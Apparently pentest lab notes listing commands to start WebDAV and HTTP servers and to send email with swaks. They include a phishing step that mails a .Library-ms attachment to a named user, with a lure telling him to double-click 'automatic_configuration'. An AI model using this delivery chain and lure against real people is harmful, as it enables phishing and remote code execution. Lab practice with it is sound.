Pre-made commands

Start a webdav server
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webserver/webdav/
Start a python server in the ~/webserver/windows directory
python3 -m http.server 8081
Deliver a standard test email to user@example.com on port 25 of test-server.example.net:
swaks --to user@example.com --server test-server.example.net
Test a virus scanner using EICAR in an attachment
swaks -t user@example.com --attach - --server test-server.example.com --suppress-data </path/to/eicar.txt
Deliver a standard test email to user@example.com using the LMTP protocol via a UNIX domain socket file
swaks --to user@example.com --socket /var/lda.sock --protocol LMTP
Send an email TO Dave Wizard FROM test, attach the file config.Library-ms (which is in the same folder the command is being run in. Dont forget the @.). Authenticate with a password.
swaks --server 192.168.233.199 --to dave.wizard@supermagicorg.com --from test@supermagicorg.com --attach @config.Library-ms --body "Please open the config file attached to this email and double click automatic_configuration to install your updates. Thank you" --auth-password


Flags

FlagDescription
—serverwhat server/domain to use
—towho to send email to
—fromwho email is coming from
—attachany email attachments. multiple can be used. put ”@” at the front of each file
—bodybody of the email
—auth-passworduse password authentication
-pwhich tcp port is to be used

See the github for more detailed info